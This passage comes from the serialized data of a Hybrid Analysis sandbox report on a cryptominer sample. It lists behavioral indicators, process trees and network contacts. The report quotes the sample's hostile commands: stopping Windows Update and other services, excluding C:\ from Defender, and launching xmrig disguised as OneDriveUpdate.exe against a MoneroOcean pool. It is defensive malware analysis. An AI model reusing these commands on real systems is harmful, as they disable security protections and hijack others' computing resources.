Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 6.01 (DLL)\n x86-64\n 7 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Queries firmware table information (may be used to fingerprint/evade)","description":"\"OneDriveUpdate.exe\" at 00000000-00005904-00000C15-2782303526\n \"OneDriveUpdate.exe\" at 00000000-00005904-00000C15-2782310031","origin":"API Call","mitre_attack_id":"T1120","relevance":10,"id":"api-65","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5d","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"moneroocean.stream\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 46.250.239.154 on port 10001","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"wuauserv\" (Indicator: \"wuauserv\") in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\n \"\"net\" stop wuauserv\" (Indicator: \"wuauserv\") in Source: 00000000-00001548-00000C47-6322159459\n \"%WINDIR%\\system32\\net1 stop wuauserv\" (Indicator: \"wuauserv\") in Source: net1.exe","origin":"File/Memory","mitre_attack_id":"T1574.010","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$5e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"References security related windows services"},{"detail":"Stops a system service using net.exe"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}]},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":22,"imported_dlls_count":112,"dropped_files_count":0,"extracted_files_count":6,"files_written_count":16,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["malicious","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"695c3d170c5ec590f302d95e","environment_id":100,"environment_description":"Windows 7 32 bit","state":"ERROR","error_type":"Cannot run a 64-bit native file on a 32-bit virtual machine","verdict":"undetected","submit_name":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe","analysis_start_time":"2026-01-05T22:37:11+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"695c29efce42c070020975e9","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR"],"submit_name":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe","analysis_start_time":"2026-01-05T21:15:30+00:00","indicators_count":{"informative":197,"suspicious":45,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"46.250.239.154","port":10001,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"dns_resolutions":[{"domain":"sg.moneroocean.stream","address":"46.250.239.154","ttl":300,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}],"processes":[{"pid":1548,"ppid":0,"name":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe","command_line":"","sha256":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260","normalized_path":"C:\\4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe","uid":"00000000-00001548","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC"},{"pid":1396,"ppid":1548,"name":"net.exe","command_line":"\"net\" stop wuauserv","sha256":"afbe51517092256504f797f6a5abc02515a09d603e8c046ae31d7d7855568e91","normalized_path":"%WINDIR%\\SYSTEM32\\net.exe","parent_uid":"00000000-00001548","uid":"00000000-00001396"},{"pid":9196,"ppid":1396,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 stop wuauserv","sha256":"1879db2abff726a5438dd1ae48f20ebed736619c27a32526d09f70af7eadd0e5","normalized_path":"%WINDIR%\\system32\\net1.exe","parent_uid":"00000000-00001396","uid":"00000000-00009196"},{"pid":3740,"ppid":1548,"name":"net.exe","command_line":"\"net\" stop WSearch","sha256":"afbe51517092256504f797f6a5abc02515a09d603e8c046ae31d7d7855568e91","normalized_path":"%WINDIR%\\SYSTEM32\\net.exe","parent_uid":"00000000-00001548","uid":"00000000-00003740"},{"pid":2296,"ppid":3740,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 stop WSearch","sha256":"1879db2abff726a5438dd1ae48f20ebed736619c27a32526d09f70af7eadd0e5","normalized_path":"%WINDIR%\\system32\\net1.exe","parent_uid":"00000000-00003740","uid":"00000000-00002296"},{"pid":4756,"ppid":1548,"name":"net.exe","command_line":"\"net\" stop SysMain","sha256":"afbe51517092256504f797f6a5abc02515a09d603e8c046ae31d7d7855568e91","normalized_path":"%WINDIR%\\SYSTEM32\\net.exe","parent_uid":"00000000-00001548","uid":"00000000-00004756"},{"pid":1200,"ppid":4756,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 stop SysMain","sha256":"1879db2abff726a5438dd1ae48f20ebed736619c27a32526d09f70af7eadd0e5","normalized_path":"%WINDIR%\\system32\\net1.exe","parent_uid":"00000000-00004756","uid":"00000000-00001200"},{"pid":4556,"ppid":1548,"name":"powershell.exe","command_line":"\"powershell\" -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001548","uid":"00000000-00004556"},{"pid":3544,"ppid":1548,"name":"xmrig.exe","command_line":"-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSXa8rjRivMYd2Gu3ZBe2PuoTzQ3U6SQwWuyAHsSm9paJPMzewb86VU817PNBUnhUSSe -p worker1_5431 -k --donate-level=1 --no-color --cpu-max-threads-hint=60","sha256":"a7ae1f3b06b057727afd8baf2a7788ca23d218fbe08b68aa76037cfdd1e4b9e0","normalized_path":"C:\\bin\\xmrig.exe","parent_uid":"00000000-00001548","uid":"00000000-00003544"},{"pid":5904,"ppid":3544,"name":"OneDriveUpdate.exe","command_line":"-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSXa8rjRivMYd2Gu3ZBe2PuoTzQ3U6SQwWuyAHsSm9paJPMzewb86VU817PNBUnhUSSe -p worker1_5431 -k --donate-level=1 --no-color --cpu-max-threads-hint=60","sha256":"001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e","normalized_path":"%LOCALAPPDATA%\\Microsoft\\OneDrive\\Update\\OneDriveUpdate.exe","parent_uid":"00000000-00003544","uid":"00000000-00005904"}],"all_imported_dlls":["System.Transactions.dll","sechost.dll","imm32.dll","VxSSL64.dll","cryptbase.dll","mscorlib.ni.dll","crypt32.dll","System.Transactions.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","clbcatq.dll","msvcp_win.dll","cryptsp.dll","bcryptprimitives.dll","ucrtbase_clr0400.dll","System.Data.ni.dll","wbemcomn.dll","dhcpcsvc6.dll","fltLib.dll","shlwapi.dll","sspicli.dll","srvcli.dll","psapi.dll","miutils.dll","wbemprox.dll","dnsapi.dll","samcli.dll","userenv.dll","msisip.dll","wshext.dll","Microsoft.Management.Infrastructure.ni.dll","powrprof.dll","mswsock.dll","NapiNSP.dll","WinTypes.dll","ole32.dll","dsrole.dll","clr.dll","AppxSip.dll","System.Xml.ni.dll","System.Configuration.ni.dll","nsi.dll","nlansp_c.dll","msvcrt.dll","System.Core.ni.dll","wintrust.dll","amsi.dll","9bMV9YB4.dll","uxtheme.dll","KernelBase.dll","kernel.appcore.dll","netutils.dll","vcruntime140_1_clr0400.dll","SHCore.dll","System.DirectoryServices.ni.dll","System.Data.dll","Microsoft.PowerShell.Security.ni.dll","bcrypt.dll","kernel32.dll","combase.dll","oleaut32.dll","shell32.dll","mscoree.dll","System.Management.ni.dll","clrjit.dll","advapi32.dll","secur32.dll","mi.dll","dhcpcsvc.dll","ntdll.dll","win32u.dll","logoncli.dll","Microsoft.Management.Infrastructure.Native.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","wmidcom.dll","fastprox.dll","umpdc.dll","ucrtbase.dll","gdi32full.dll","user32.dll","mpr.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","windows.storage.dll","gpapi.dll","MpOAV.dll","apphelp.dll","rpcrt4.dll","vcruntime140_clr0400.dll","coml2.dll","dpapi.dll","rasadhlp.dll","FWPUCLNT.DLL","ws2_32.dll","icu.dll","atl.dll","MpClient.dll","pnrpnsp.dll","winrnr.dll","wshbth.dll","ExplorerFrame.dll","gdi32.dll","mscoreei.dll","System.Management.Automation.ni.dll","wldp.dll","profapi.dll","wbemsvc.dll","rsaenh.dll","wkscli.dll","IPHLPAPI.DLL","version.dll","System.ni.dll","msasn1.dll","pwrshsip.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"OneDriveUpdate.exe","sha256":"b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"StartupProfileData-NonInteractive","sha256":"292783993e2376e6e87124eb2129e2387e86cb9b746eb634c5be3f4d571d097b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"__PSScriptPolicyTest_dqciugsk.qli.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"__PSScriptPolicyTest_u00pv2mi.oyi.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"xmrig.exe","sha256":"35bf75bae6c2701908c2a4c1eacb42236b658b7a33c530dd4b89f617d9423170","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"miner.log","sha256":"ca12870c7aea9dac87c0c4f86f4f2ba8f2758c35c0093ae43ca3f493e54ab712","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\NetFramework\\BreadcrumbStore\\netcore,static","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\NetFramework\\BreadcrumbStore\\netcore,static,8.0.1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\NetFramework\\BreadcrumbStore\\netcore,Newtonsoft.Json,13.0.3","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"C:\\logs\\miner.log","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"C:\\bin\\xmrig.exe","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_u00pv2mi.oyi.ps1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dqciugsk.qli.psm1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\OneDrive\\Update\\OneDriveUpdate.exe","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9196:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:9196:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:2296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:1200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4556:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4556:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:4556:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:4556:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"SM0:4556:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4556:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3544:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3544:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3544:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:3544:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:3544:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"SM0:3544:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5904:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5904:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"Local\\SM0:5904:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"name":"SM0:5904:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}]}},"report_ids":{"sandbox_job_ids":["695c29efce42c070020975e9"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Sample 4e160339aeb9… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4e160339aeb9…. Threat score 100/100. 0/1 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample 4e160339aeb9… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4e160339aeb9…. Threat score 100/100. 0/1 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample 4e160339aeb9… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4e160339aeb9…. Threat score 100/100. 0/1 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5f","11",{}]]